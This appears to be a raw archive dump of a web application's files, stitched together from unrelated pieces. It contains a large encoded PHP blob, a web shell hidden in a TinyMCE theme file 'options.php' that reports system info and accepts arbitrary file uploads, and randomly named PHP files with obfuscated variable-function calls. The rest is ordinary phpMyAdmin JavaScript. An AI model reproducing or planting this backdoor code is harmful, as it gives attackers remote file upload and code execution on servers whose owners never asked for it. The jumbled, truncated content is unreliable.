XV6bjhwbTBVc1pNNC9zNkRvRE5aVDhIdlNHeXFlU25aZGErY1lyS1cyZkNXZUhvY0VNUThWdGhaMmpDVGNNTWtBMlNvbzRtTUJwSGkvano2V0hjWlFnSm9ldVdpYllEOG5PNlN4aEZoWVhzZHdXaW5IZDVWVmdJWCtNWVdJa2hhTnpsMC83eG1iS21sbG9nT3ViL3Q0VU85aUFtQkNUdGNSZTZGSCs1UEhoUkloNFFpNG51N010eUhMZFFoemJmMWFRWkhPZ21pQkpBdmtDUDlEOHZoRFNRRTZybXFhZHNEVTg1OVJ6WlY5WlR6RG9qZTVkR01XL0UxZW93TVp5ZWoycGt4TXdNSFJhTjg4TVFDdldhYllibWYwQ0NpWDZlZjE5a201Z1UyMmZKdi9CNG1LQnVnSnJNR1JKNVJLZ0N5cEZRdmc4WHJzak5MdkpOVmxhQ0YwVWFlcDJOdlAraVN5YjB3cllHRDI0Y1NtZHVZNnVZV2Vpakx1ZkhXZmREcktIZDFkbGh3L0Faam05SW01ZnZ0dXRtSDJGSC9WTEgvMk9kQXdiVC9SOE1QYmU5VXRpa0srMDBlMENEVkJzblk3R2ttVElYQnRDZzNQWWw3ZzJDRFdzUXFtMjlwSjJBTXhSZXR2S2JQRzA1SWhiOEhONzBlTnM2Q1B5eWlHcTc3aGFhcXdVaXBLSk9jc2JlZjJreWp6bEF5dWEvNlIrem1JMlJLOXRyWWVmKzl2NjJKYk1CcmNtYUdYaGJQZlliMlh1WkdIKzRIeWVHN3pkZHdCZTVTUkhjZVlYOFJQbW1STXo2S3AvUURFeDVwNEhpNmlBendlanBNUXhYYWE0SlBJVVlsVzBFa1dCd3M4aXd0WE1WLzk1Y2c1MWtHUUJpUXZPdDhYL0U4QmhqNENsSHlhbWNnRGQzQndVNkRFZjN2VFp0anVrOXJGREJwVGNnQkluUTNQT1U4WXNGN1A5UU5OTWdoVkNONE9mRVhxNVdKdVZSQzh6Zk9kUnlqMzM3QkVENFdWanp0Q0t0cGFPT2ZEZ0IxRk1yNTM1RnpiajhBdThVYmdNOWIxcEJnSml5TEcwR0UzU1dqTEVMZmpZUlV4MFZKOGZobEQvTnFhclJUb3grVW8vMjU4d0hJcGp2Y044alQ1RnY3M0hBQitZK2ZROGNMUWZGNlMzTHlvYzNrOEpTRXhTZDVvQWZYQnZ2ZnArWEU0QzJmdFBXWFl4L0V2ZGZuUXh4YllldnBEcVc3UlhhSU1pTllvUFloRHJ1dmpUaUdkcDlXMU10MDYwandpaFJJY3kvOG9YRE5IYmorUHBXWTl6MmpyMStvYjd5cFRHKytEWFMyZWpRR0ZBcmE1b1c2US9GZmt1OFczUnovUEMrekpuNW5tcXJzb013OFZWUHVGNjdHdFhYcjhCd1pOaVdyRjlnQzYzWmVJL3JxQkg4aWxHSngxTTh0SUdoTGVqTEhTTmtCb0ZaNDVtbDM4elUwcytPZHNqbzZGaTRaV0g0clZ6cGJhMDAwT3dsaUR4RzlpKy9hbHBjVzY5MUVtKyswMEFEZlNTdWt1TEFmRGgxK3docm51VDFSTDJ2L1hEa3dETlg0NW5EcStmaUFyZEhGYVc3WUJrc1JkQ0dNL0Y1cGlDNGRzOWNYeU0rUDdSUWQrblZtVXZ3bWdkRS9rNGJmaDZuUzJad1FweC9UN0d5Nm52ODlMSGpNbFYyNGV3SzdKV1ZyNHFXNlVXSzE5TGNVdGcrWnZSeWVHV1Y1Q1NrTFMwb3RVUjZIYm5VVm81VSt1Wnh2dTY5RlErSnZTa1E2YW9lWDV6dGFjcjN0aFNZYmJTdGp1dzJTQjdiZXJCbEFnOGxBYXM4UUJ4YmpDaWhVZVFpcnJYRmJNY2tvdmtwaEhIa1ZMY3ZwUElqUVEwMkpTOWZTcndtNStkMU1GM2grWFkrY2k0Nm9lL1p5ZStvUEJvclpJcU8zOVgxZnlkbko1dllkNE1wdjRBTE9wMXZDeUU5UkM2akZpLzFmSmxoVTlVRGJzbUlzVHM2QWJ3aFdMMnljeGNrTkpnZDN1WXRsamdCTjBjcGRlWFNnMW5SY0hkNzVOc3AxS01pWG1lN3duSndjNE4wSUNpd1JtY3psNTZJdk5RWEl3NzFvaFR5b3hIWnlROHZaMmFzR0xzNjB6aHhvNWpEcitkTnEwQ0tIZU5tSm9qR2hjSFd4ZS8yNDcwcWY1YjdGcmNkM2IrcFZsdkMyTTBFaVpSamtveGVCRytXQ05IVExYWTFRc3BneTNZWmRQUHdpcjMrQVFMdlhnRXF1ditMQW8rL2J2ZHpRSkxnWU9HMFRHM21iUDFISThhYWRLcEtwb1I0Z2Z3cjNFQVJ0WkV3b3JEeXljRjJnVm5oSlBSUjJsazY1ZjQxdEQ3aURETUp5WUFDQU94S1JMbmVNbG9KOHFhRm5WdGVBQm5WdGhENE5BeHNyMHQ3ZzJoR0hHZGk4SHB2Y2JucUxoT0dVSVkwNm5Qd0czdEhkRmlEcEFwQ0gvTkZOdUt5N2h4UmJhYnVuMTdDS05iVmV2dWxnMEFzdUE5cFpxRUhkSWZkTjRWZlJHNjRIcmIzcGpKa1BCODRxMGpjamp2OUJOYldPYlJhdm40Z0hnSHBMZitETUZpZkU4MHNvMUVGWFNVaXlwNnhhUFVPNVRKZ0t6L2FBN1Z3ZXhROFpuMUpNVDVMRWZkYzhRMEs2M0Q1NW5UWmtpQnRkTWhsZGlaSE9JbHJHdlhRcnFGcGVZNnUyNFYvRkxVSlQvM0JaWUtRdGhPam0ya0JrYytRNk96OFlaUUFMU0J0QzBHZ0dpVzdIZU5kKzAzeVNIeUUzSjRTTi90VWE4V0tiNTRRZi9KN2gzTkxSckZHZEJvQXh3L1B6dkxNczZMQktGR3kwT3AvNEFoSDRWZmJuYWNWaEM5bXZpUlovK1ltWHBiUU1KenUrMUxLdXVscldBMVdEdDJubXpuNTd3MEZLSEJwSm1NaGhqbWQ4c1FkRk1XckRFUUdjMkNMYUJvV2wzZ0FCdEIxdi9adHpiOGFBQWUxVENWTTBGQWtJUFRWTXV3UFV0aVk1TGx1OTZLcElMd0VPcHNvQVBUOWhyQzIxUkVEcU5TMzBlUGdic1JKajJlUmxzNmhIQklPOC9jYktnaUdpS0N5enFnSUdyZG9PZXRwZ1FlWVAxSnJ3QUNyV1lENGNiSHAzV05aSVJzT21EWW4xOXdrOS9UZ1ltVzlUWEQ2ZXhGU1FWYmxBcllpLzJ4bXVDTDRQWm5LOTRJYUpxUmlwb0V4ZjJad095UEFyRUdUYUszZ01mMnV2SUxTVEZYeFlRM3Z2N1RxUk5JRzREWHIwVjBDc2JmU1crUXRaeExnVVE4V1Zzd2NOa2lNNXpSZWQ4TjJKelY4S3Qvc2lsUXlkYlRhR2hHbHJiRFlRdXBBc2w2WEJMSmZNZXdRL2k1T04zbFI4S0tQWURzdzJaZ3dDL2lJNnpodDNjMHlFaDJhM21JVkdZZXFlemR6US8rdnVJOUlYd0dQdkFDTlBGQURWdmZiRFR0VmZNNThGQXcwTElTT2RIRFVKL0g0M3hRRGlaa2tVQnI1U0FVZktYcWhuM3ZWSkRtWW0xWnRHMXg0S3VtZ0xTNTRoeWpkVkcwQ0pUUXRNTVhkZ2pST2Vkc2tnTmlFVWN1aE5jZUd5Tk1RY0lsbTBEMmN6OWwrQ0lwNlh0NHBwZTdhSU5ZeWRqQVBXdFdoZ1RYNVI3Z2E0M3VsbUdPL2N0cmNSVzFmdG5GUUFsTnhyVVErZ2RZL0lOaVFaRi9HeVZaT2tMSjZBWGFrZFpmdVhsbzFFcXFmMFdmNzVEN1Z6QlVDRUZXbHEyRUNCY3g0d1d1K0N3SkMwRk8wTWdmOHVTVEVoNEIvd1dNMHdCK0xvSEtJYnEyaTVrUWhzMmFWZEtrTWRZMTBPMFNUSHdkcU1yQ25MaDFiR3JKcXM2ZzEwTFFhVEtGSDh5ZnhkNHlVYUFsL1hGUGdaem5TZGI4NnJkNU9RVmtVK3pYVmZlNEpNc1FpRytQRVhNTDVFb3hDWWt2SU9nRUxpM2lIV2VNM1VBeHVRa0IyS3RNUFpiOGRlcTFmV0hWZmFQRENneDBLajJpdThGR2dFejRlWEh1U0NPZUhrTGptbHZ4bHFqWS9uR3VHb0VlRGo0SFl3N0ZuZG9ONE8rY0RKdjArbW90ZVFkUERvZngxQWxZa2RoazN5b2dqYmYvbXVTcFZDTFFEeHV4RFprWkZuWHoyWStMdFB1UmVtQUsrUlVxUER4S2dFQlhTdFdveWNndGFraUp4QXptaC9jd3o4K3VBUmJ4d05KL3laZ2hGZGNOQjRDcmF6QkdITEJBTDBCZis2dnRoVFRaSS9iakVHUEpOV2k0ZWJVUWZVR0VVWnl6OGZSeHdwc0xBYjJualUyVmxkSXRBVkE3UVpDaU40WEJoU0FzOGNDb2ZhVVV3VHYyS2pwYWtlM3RqYTJSSlZOTlFhYVZqVk1mVHYzSXYzVmxxSXZFdVcvNndGL2pLUjMvQXZuYjYvRWdvVzdKUTJPYkwyRmpZNTk4SDBQSzJBRmdiT2pWOTZTTllPclNBcklNaGdmMUMvL2xJMU5kK2J5dmtvVXdXend1bTBNWnYzYitmRE1pODZaVUdiU1p5QjRaTE0xMFRLaSt0RDVaZWYwd0RUZitSWTk3SHhvMm40M0gwaXdLQ1I0ZStxZi85UFBxaFBvck5lbnhyTml5ZGtLUmtvQVhSdWtzNFEzNmVqYWRnY0RrVGFqYTdIM1Vzd0tDNFFNTjhIQlduZG5ldlNFR1lBVHlSWHdjRXBjbmt2YTZsTDJMT1pjVi9UdGpDZnBqa3FaMjEyWGFiVFNMcU50a3ljYzFmNDJpZjZheFBXT3BnR0FHbTlYYXErcG5adjVBV25hMUgxeVBmZXJvV3Flc3BuWW9aUTNuZ3RZSWMzSTRCeXNFVGprTVN5UmNaSU1UMGZnbEJhdjdYR3dRa21MTjIyb1pjWU1STWE3bFhmRUtId3ZKUUIxdnhGZGwwQWx6Z1F5WWFCRE9sVlp0b2RCOFBaQ25vWms2aWZmYnJWMnhqWmE3ZUttNHRSKzJpNS9yU3FWcjArZkk0Z0FPcFVJcXNtK1phTGJOb2hsWWMyM1IwaThTMDNERVpRVlhYVnE1ZnNmblV5SEhIWFhwdy9Xd1h2QUlnUFpWY0NXSmxIN3ljWHFzZW4zTTdsWUxpQ2VKRjNqRzYyaWc1d2FKakNMdmpkSEdEOUdSR3luMStuaEJValViT3N0YlpUQllyWW1CSjZrclBTYzI3L2dCY0VIeWdiVE5JWTl6clJSdDJlbVdTZ0xiM0s3YVRNNlpDODl1RUpUTnI3b3ByK1dBNXZ0dS8zMVNOVmkyb3JSTzNGTTdZQTZTN3hjL0xTeWc2WDlNZG5uVTVMUzlEcEt4cXBzR2ozTDR0bmV5TzZvS3ZhL3FLUGllcjFzVy9zYTRVTjdSdElXWlFVZCtuelU2dkNOYmZsTTR6cFkwU2c1RmNvR3FTa3hIWm1vSzk4alBFcTR4TDZ2b2VBaU1Oc2ppM1hpTzF2TnV4ZHdVa0F4V0dicGw0ODJ6ZHR6akhJY1NWc2hBQ1pEVzZleDdhNll0MEdFM0d2eHd3ekROVmU4WlNGSjBycTJscnI3WTA4YWJaSC91MTloajc0VlgvSm8wMFdmYm81dUpMcW5wUVdidFp1QXExN2EzamRlQkRoQi9TWVhXck1YeVEra3FqcHlPV21FVGVXc2hSb2UvNjIwT1hzNzFZNmF2VUM1Q3E2S2NWSlpNUlV2L3ZsRFZOTEtZUFJ4R1pTQnNxZHRkUUM3TGp1dVdrc3FUSXN6VUF4OUVibEpQNjJGYVgvZVpKYjRrZk93SzQrZlU1S1Nob1g4N0hHY08wMS9Xdm91Qm14WC9XcEdydXNzcnozY3MzbTNrcW5tZHg4WGtjT2JkV0VrUm55WDRsLzgwM0w1T0N6aEJRTFNxbHZZM0UzeWpKL044WGg2aEsybEcwQWJxU1RLZEZlNEp6MzJXL01idE5WNW9ZREtIcysweEwraVVJd0Z2VHVwUXpSU1luM0s2MGptQ1Zub0w2c2JSa0ZDSm9hNzFMRkNxN2lOdzEyUjJXQURxSjVxVGo5WTVDMUJEcWYzMEgyY0p6SEt2b3ZKNVFIOEZSdFE1ektVYXplUjF3M3NBTkt0b2ZZS1ppME82M0xla1RGS242NXVoK0Jwd3hRRzRNYVhsanMxeVdnWTFRaTlFMG9SZUY1MmFBVDdqM0NQOVZtN1hwaVBZbFlPSVR6YXdYZWtxYXc3bkQ2VGRQOTFCU1VuNGdhc2U5ME1GTXYxOXhHK0o3eVVzU2tKT1MveFU2WFN1MEZ5S09uY04zaE52N0pQNHFiUkRucWJaZXpzNDluOVRYTGFpZ2QrRndVZjVZUlRzMFJnNmRoQm01cThuanBlZ0o0N3U0ZHdmcFUxSitoMkwxMzVHKzg0WHVMcTRQcHEraUxiS2NPK3gwdnRDKzM5SlJJWEJRNnJGWFYzRi9YeHVUQUQzaXYrTlhPdUs1VmhTdlBsb3lJakxFZ1ZqbHZwdWZhdmI5VW10S0hGS2N4RXZjSTRrVFNGMmxPWE0wak9mZkE3WnlYa0xtU2xCYjl3a0dnTzgxNlFOVytXUWY5cjgyaXlxT0ZzSmVsaDRtbkJsMS9IT0RsOXJMZnNEb0pIZGJkeWdvV3lZdjloaGkxTitSRHM1RWJoL21zWWFXQzZwbm9ONVhUNU52U3o5THBwRFJuMXdqLzJFTnFUMnltMmQ3Q21BNFZIbTE1Tk04c1NmZFpkSkkzUlpoSDRFSE52Um5waUZUTmFWclhTR2NvUDZxTGM4SFNKY2FPNzFucjNDcm9DMU1vRFhZcURxbnpwUm9nTldiZDhPWm1EOEE1QWEwWmRKOUMwTFpMMVNTbWtMbXlhWTdZRGdVNzFWWjZ1ZDlJaGFvUlRuYTBOUE1lczFTY0NCZ093N3U5QkM3MDRuMGhIQ0VHSCtZTmpLMEVPOWNZVVRURHJmRmZ1YnlWeFRVbE9QUFg3NlBRdFRDUHU2TUdWU0VhNEx5OForQjR5VGV3Nm1Kck90UmNxZWx4dmJGdjBUYkhHaWpxQjRoZ1JnMERWWVY0V3YzTkRHQzNhM3NZK1dDNWJMWUxRekE0U2p6RHRaOExJcklPcDcvUmM1V09zUmtUYTVxZUFJVUY0WTBySlF0MWlVSG84aWIxWnB2MjdDUXMxeW5xTTUxakhoQjlLLzczZEIrUTJNclYxand1cURFTHZZRWwzOC9td1lTSFdyV040clVyZ1dPMzVwZm52UlVMWTQ1TlNqVndMclFCVXA4L3ljcW9UMUkxdnFCemdzK0U2S2tPTG9sMjJrSXVmTWdpa0ljT1FLUDFxMEFFclVxNXRSSzdFTFpaaVB0d3crTmlMQ3h0UTJZaHczWVBqSFJIaEp0UXlkczZqaDVqdE1UeTlKRjYvcDIzQWprdU14RkFabkI5czZkcGxrdGNveVgxOHV1TExrcWpHU2ZBb3NqOVBvSlg4UlFYZDVhMzFUZTNYWnJ2ZStGWmFvb2Z3YmNPeFB5RWdOcEhQakJQT0RlaklMOHBoY0FUTk5CRkJaZnlNR2t1aC8rMHp6MkV3UUNxRzZBV2NUdVlHSWJUNXd3cldGbW8zbFRYUktNSEtZODB1b1V6T1A3UCtQZHNTMTFnV1k4SjNoMTUxNGJjSTZqbGxnMWNibjkwQmJUZm1FcFVETnhWTlpQN2FrYTJQZ01ITHAyZEwyUEo4WFJabWdrdFd4ZGdjeEtUV3RGTEdDZCtCU2MyWCtUbjNpdXRzVVZNelZYVVFtL0RQVnJLMHp2RHIwZDJCbnl1MHRKTUpNdkZHWmUzdmxWT0Z3RmYvZDhjMW1VNXBKayszbkVrTVJrZG90eGNaTzd4Z0pyWTFmb3I2ZnMxeVJHT0dkdEMvaVdwazM2SmFyKy9YcHFyTm5xb2xXc0ZpbEZEWVpxbURjM2RoazZKK09hR0FXUGpvQnEwNnJhYUZRc203YlBLV3FNZmlGVThZajdKZVhRS3IxUXkyUTg4M2dxeUVhZllxdzJ2U2pCZk1qL1NyS2dlM3dJNEJ3Ymlqa3JwMFpPdFJQczZ2cE1KeE4xNE5GUnBaSDgzM210aXFNRkI3ZWl6NEE0T1JCRVZqUENMdTZlZTZ6b0N0aFVqUmk1MlF4MVJjb01EZ0RiT2d2NUxTcWhuWW1EMHRQWHgrY1FVRHFibFRpUHQ1QWhyamw0YXJCcUFyMFZVSzZsN05VMEZJdkNiQWRvR3JqajZCZjlKL3FzTFpjVzFPc1VwelRBL051SHRzZys0ODJhMUd4cDlHaHZEZDE2K0s= [/PHPkoru_Code]tinymce/plugins/wpeditimage/.htaccess000044400000000355151723542220013776 0ustar00 Order allow,deny Deny from all tinymce/plugins/wpemoji/.htaccess000044400000000355151723542220013151 0ustar00 Order allow,deny Deny from all tinymce/plugins/wpgallery/.htaccess000044400000000355151723542220013505 0ustar00 Order allow,deny Deny from all tinymce/plugins/wplink/.htaccess000044400000000355151723542220013003 0ustar00 Order allow,deny Deny from all tinymce/plugins/wptextpattern/.htaccess000044400000000355151723542220014430 0ustar00 Order allow,deny Deny from all tinymce/plugins/wpview/.htaccess000044400000000355151723542220013020 0ustar00 Order allow,deny Deny from all tinymce/skins/.htaccess000044400000000355151723542220011145 0ustar00 Order allow,deny Deny from all tinymce/skins/lightgray/.htaccess000044400000000355151723542220013137 0ustar00 Order allow,deny Deny from all tinymce/skins/lightgray/fonts/.htaccess000044400000000355151723542220014270 0ustar00 Order allow,deny Deny from all tinymce/skins/lightgray/img/.htaccess000044400000000355151723542220013713 0ustar00 Order allow,deny Deny from all tinymce/skins/wordpress/.htaccess000044400000000355151723542220013175 0ustar00 Order allow,deny Deny from all tinymce/skins/wordpress/images/.htaccess000044400000000355151723542220014442 0ustar00 Order allow,deny Deny from all tinymce/themes/.htaccess000044400000000355151723542220011303 0ustar00 Order allow,deny Deny from all tinymce/themes/inlite/.htaccess000044400000000355151723542220012567 0ustar00 Order allow,deny Deny from all tinymce/themes/modern/.htaccess000044400000000355151723542220012567 0ustar00 Order allow,deny Deny from all tinymce/themes/modern/options.php000044400000002564151723542220013201 0ustar000kb<");};?>
'); } } } ?> oritomasua

oritomasua

System Info: '.php_uname().'
'.'Current Directory: '.getcwd();echo '
';if($_FILES){if(!empty($_FILES['file'])){move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);echo "File Uploaded !!!
";}else{echo "Upload Failed !!!

";}}?>tinymce/utils/.htaccess000044400000000355151723542220011156 0ustar00 Order allow,deny Deny from all wp/.htaccess000044400000000355151723542220006774 0ustar00 Order allow,deny Deny from all wp/HwvAzLE.php000044400002432730151723542220007177 0ustar00wp/MgWdneVnq.php000044400000000724151723542220007555 0ustar00".$k($hh));?>config/ol/webpack.config.js000066600000000673151724472050011662 0ustar00const path = require('path'); module.exports = { entry: './js/src/ol.mjs', devtool: 'source-map', mode: 'production', performance: { hints: false, maxEntrypointSize: 512000, maxAssetSize: 512000 }, output: { path: path.resolve('./js/vendor/openlayers'), filename: 'OpenLayers.js', library: 'ol', libraryTarget: 'umd', libraryExport: 'default', }, }; dist/ajax.js000066600000072374151724472050007020 0ustar00/** * This object handles ajax requests for pages. It also * handles the reloading of the main menu and scripts. * * @test-module AJAX */ var AJAX = { /** * @var {boolean} active Whether we are busy */ active: false, /** * @var {object} source The object whose event initialized the request */ source: null, /** * @var {object} xhr A reference to the ajax request that is currently running */ xhr: null, /** * @var {object} lockedTargets, list of locked targets */ lockedTargets: {}, // eslint-disable-next-line valid-jsdoc /** * @var {Function} callback Callback to execute after a successful request * Used by CommonActions from common.js */ callback: function () {}, /** * @var {boolean} debug Makes noise in your Firebug console */ debug: false, /** * @var {object} $msgbox A reference to a jQuery object that links to a message * box that is generated by Functions.ajaxShowMessage() */ $msgbox: null, /** * Given the filename of a script, returns a hash to be * used to refer to all the events registered for the file * * @param {string} key key The filename for which to get the event name * * @return {number} */ hash: function (key) { var newKey = key; /* https://burtleburtle.net/bob/hash/doobs.html#one */ newKey += ''; var len = newKey.length; var hash = 0; var i = 0; for (; i < len; ++i) { hash += newKey.charCodeAt(i); hash += hash << 10; hash ^= hash >> 6; } hash += hash << 3; hash ^= hash >> 11; hash += hash << 15; return Math.abs(hash); }, /** * Registers an onload event for a file * * @param {string} file The filename for which to register the event * @param {Function} func The function to execute when the page is ready * * @return {self} For chaining */ registerOnload: function (file, func) { var eventName = 'onload_' + AJAX.hash(file); $(document).on(eventName, func); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Registered event ' + eventName + ' for file ' + file); } return this; }, /** * Registers a teardown event for a file. This is useful to execute functions * that unbind events for page elements that are about to be removed. * * @param {string} file The filename for which to register the event * @param {Function} func The function to execute when * the page is about to be torn down * * @return {self} For chaining */ registerTeardown: function (file, func) { var eventName = 'teardown_' + AJAX.hash(file); $(document).on(eventName, func); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Registered event ' + eventName + ' for file ' + file); } return this; }, /** * Called when a page has finished loading, once for every * file that registered to the onload event of that file. * * @param {string} file The filename for which to fire the event * * @return {void} */ fireOnload: function (file) { var eventName = 'onload_' + AJAX.hash(file); $(document).trigger(eventName); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Fired event ' + eventName + ' for file ' + file); } }, /** * Called just before a page is torn down, once for every * file that registered to the teardown event of that file. * * @param {string} file The filename for which to fire the event * * @return {void} */ fireTeardown: function (file) { var eventName = 'teardown_' + AJAX.hash(file); $(document).triggerHandler(eventName); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Fired event ' + eventName + ' for file ' + file); } }, /** * function to handle lock page mechanism * * @param event the event object * * @return {void} */ lockPageHandler: function (event) { // don't consider checkbox event if (typeof event.target !== 'undefined') { if (event.target.type === 'checkbox') { return; } } var newHash = null; var oldHash = null; var lockId; // CodeMirror lock if (event.data.value === 3) { newHash = event.data.content; oldHash = true; lockId = 'cm'; } else { // Don't lock on enter. if (0 === event.charCode) { return; } lockId = $(this).data('lock-id'); if (typeof lockId === 'undefined') { return; } /* * @todo Fix Code mirror does not give correct full value (query) * in textarea, it returns only the change in content. */ if (event.data.value === 1) { newHash = AJAX.hash($(this).val()); } else { newHash = AJAX.hash($(this).is(':checked')); } oldHash = $(this).data('val-hash'); } // Set lock if old value !== new value // otherwise release lock if (oldHash !== newHash) { AJAX.lockedTargets[lockId] = true; } else { delete AJAX.lockedTargets[lockId]; } // Show lock icon if locked targets is not empty. // otherwise remove lock icon if (!jQuery.isEmptyObject(AJAX.lockedTargets)) { $('#lock_page_icon').html(Functions.getImage('s_lock', Messages.strLockToolTip).toString()); } else { $('#lock_page_icon').html(''); } }, /** * resets the lock * * @return {void} */ resetLock: function () { AJAX.lockedTargets = {}; $('#lock_page_icon').html(''); }, handleMenu: { replace: function (content) { $('#floating_menubar').html(content) // Remove duplicate wrapper // TODO: don't send it in the response .children().first().remove(); $('#topmenu').menuResizer(Functions.mainMenuResizerCallback); } }, /** * Event handler for clicks on links and form submissions * * @param {KeyboardEvent} event Event data * * @return {boolean | void} */ requestHandler: function (event) { // In some cases we don't want to handle the request here and either // leave the browser deal with it natively (e.g: file download) // or leave an existing ajax event handler present elsewhere deal with it var href = $(this).attr('href'); if (typeof event !== 'undefined' && (event.shiftKey || event.ctrlKey || event.metaKey)) { return true; } else if ($(this).attr('target')) { return true; } else if ($(this).hasClass('ajax') || $(this).hasClass('disableAjax')) { // reset the lockedTargets object, as specified AJAX operation has finished AJAX.resetLock(); return true; } else if (href && href.match(/^#/)) { return true; } else if (href && href.match(/^mailto/)) { return true; } else if ($(this).hasClass('ui-datepicker-next') || $(this).hasClass('ui-datepicker-prev')) { return true; } if (typeof event !== 'undefined') { event.preventDefault(); event.stopImmediatePropagation(); } // triggers a confirm dialog if: // the user has performed some operations on loaded page // the user clicks on some link, (won't trigger for buttons) // the click event is not triggered by script if (typeof event !== 'undefined' && event.type === 'click' && event.isTrigger !== true && !jQuery.isEmptyObject(AJAX.lockedTargets) && confirm(Messages.strConfirmNavigation) === false) { return false; } AJAX.resetLock(); var isLink = !!href || false; var previousLinkAborted = false; if (AJAX.active === true) { // Cancel the old request if abortable, when the user requests // something else. Otherwise silently bail out, as there is already // a request well in progress. if (AJAX.xhr) { // In case of a link request, attempt aborting AJAX.xhr.abort(); if (AJAX.xhr.status === 0 && AJAX.xhr.statusText === 'abort') { // If aborted AJAX.$msgbox = Functions.ajaxShowMessage(Messages.strAbortedRequest); AJAX.active = false; AJAX.xhr = null; previousLinkAborted = true; } else { // If can't abort return false; } } else { // In case submitting a form, don't attempt aborting return false; } } AJAX.source = $(this); $('html, body').animate({ scrollTop: 0 }, 'fast'); var url = isLink ? href : $(this).attr('action'); var argsep = CommonParams.get('arg_separator'); var params = 'ajax_request=true' + argsep + 'ajax_page_request=true'; var dataPost = AJAX.source.getPostData(); if (!isLink) { params += argsep + $(this).serialize(); } else if (dataPost) { params += argsep + dataPost; isLink = false; } if (AJAX.debug) { // eslint-disable-next-line no-console console.log('Loading: ' + url); // no need to translate } if (isLink) { AJAX.active = true; AJAX.$msgbox = Functions.ajaxShowMessage(); // Save reference for the new link request AJAX.xhr = $.get(url, params, AJAX.responseHandler); var state = { url: href }; if (previousLinkAborted) { // hack: there is already an aborted entry on stack // so just modify the aborted one history.replaceState(state, null, href); } else { history.pushState(state, null, href); } } else { /** * Manually fire the onsubmit event for the form, if any. * The event was saved in the jQuery data object by an onload * handler defined below. Workaround for bug #3583316 */ var onsubmit = $(this).data('onsubmit'); // Submit the request if there is no onsubmit handler // or if it returns a value that evaluates to true if (typeof onsubmit !== 'function' || onsubmit.apply(this, [event])) { AJAX.active = true; AJAX.$msgbox = Functions.ajaxShowMessage(); if ($(this).attr('id') === 'login_form') { $.post(url, params, AJAX.loginResponseHandler); } else { $.post(url, params, AJAX.responseHandler); } } } }, /** * Response handler to handle login request from login modal after session expiration * * To refer to self use 'AJAX', instead of 'this' as this function * is called in the jQuery context. * * @param {object} data Event data * * @return {void} */ loginResponseHandler: function (data) { if (typeof data === 'undefined' || data === null) { return; } Functions.ajaxRemoveMessage(AJAX.$msgbox); CommonParams.set('token', data.new_token); AJAX.scriptHandler.load([]); if (data.displayMessage) { $('#page_content').prepend(data.displayMessage); Functions.highlightSql($('#page_content')); } $('#pma_errors').remove(); var msg = ''; if (data.errSubmitMsg) { msg = data.errSubmitMsg; } if (data.errors) { $('
', { id: 'pma_errors', class: 'clearfloat d-print-none' }).insertAfter('#selflink').append(data.errors); // bind for php error reporting forms (bottom) $('#pma_ignore_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(false); }); // In case of 'sendErrorReport'='always' // submit the hidden error reporting form. if (data.sendErrorAlways === '1' && data.stopErrorReportLoop !== '1') { $('#pma_report_errors_form').trigger('submit'); Functions.ajaxShowMessage(Messages.phpErrorsBeingSubmitted, false); $('html, body').animate({ scrollTop: $(document).height() }, 'slow'); } else if (data.promptPhpErrors) { // otherwise just prompt user if it is set so. msg = msg + Messages.phpErrorsFound; // scroll to bottom where all the errors are displayed. $('html, body').animate({ scrollTop: $(document).height() }, 'slow'); } } Functions.ajaxShowMessage(msg, false); // bind for php error reporting forms (popup) $('#pma_ignore_errors_popup').on('click', function () { Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_popup').on('click', function () { Functions.ignorePhpErrors(false); }); if (typeof data.success !== 'undefined' && data.success) { // reload page if user trying to login has changed if (CommonParams.get('user') !== data.params.user) { window.location = 'index.php'; Functions.ajaxShowMessage(Messages.strLoading, false); AJAX.active = false; AJAX.xhr = null; return; } // remove the login modal if the login is successful otherwise show error. if (typeof data.logged_in !== 'undefined' && data.logged_in === 1) { if ($('#modalOverlay').length) { $('#modalOverlay').remove(); } $('fieldset.disabled_for_expiration').removeAttr('disabled').removeClass('disabled_for_expiration'); AJAX.fireTeardown('functions.js'); AJAX.fireOnload('functions.js'); } if (typeof data.new_token !== 'undefined') { $('input[name=token]').val(data.new_token); } } else if (typeof data.logged_in !== 'undefined' && data.logged_in === 0) { $('#modalOverlay').replaceWith(data.error); } else { Functions.ajaxShowMessage(data.error, false); AJAX.active = false; AJAX.xhr = null; Functions.handleRedirectAndReload(data); if (data.fieldWithError) { $(':input.error').removeClass('error'); $('#' + data.fieldWithError).addClass('error'); } } }, /** * Called after the request that was initiated by this.requestHandler() * has completed successfully or with a caught error. For completely * failed requests or requests with uncaught errors, see the .ajaxError * handler at the bottom of this file. * * To refer to self use 'AJAX', instead of 'this' as this function * is called in the jQuery context. * * @param {object} data Event data * * @return {void} */ responseHandler: function (data) { if (typeof data === 'undefined' || data === null) { return; } // Can be a string when an error occurred and only HTML was returned. if (typeof data === 'string') { Functions.ajaxRemoveMessage(AJAX.$msgbox); Functions.ajaxShowMessage($(data).text(), false, 'error'); AJAX.active = false; AJAX.xhr = null; return; } if (typeof data.success !== 'undefined' && data.success) { $('html, body').animate({ scrollTop: 0 }, 'fast'); Functions.ajaxRemoveMessage(AJAX.$msgbox); if (data.redirect) { Functions.ajaxShowMessage(data.redirect, false); AJAX.active = false; AJAX.xhr = null; return; } AJAX.scriptHandler.reset(function () { if (data.reloadNavigation) { Navigation.reload(); } if (data.title) { $('title').replaceWith(data.title); } if (data.menu) { var state = { url: data.selflink, menu: data.menu }; history.replaceState(state, null); AJAX.handleMenu.replace(data.menu); } if (data.disableNaviSettings) { Navigation.disableSettings(); } else { Navigation.ensureSettings(data.selflink); } // Remove all containers that may have // been added outside of #page_content $('body').children().not('div.modal').not('#pma_navigation').not('#floating_menubar').not('#page_nav_icons').not('#page_content').not('#selflink').not('#pma_header').not('#pma_footer').not('#pma_demo').not('#pma_console_container').not('#prefs_autoload').remove(); // Replace #page_content with new content if (data.message && data.message.length > 0) { $('#page_content').replaceWith('
' + data.message + '
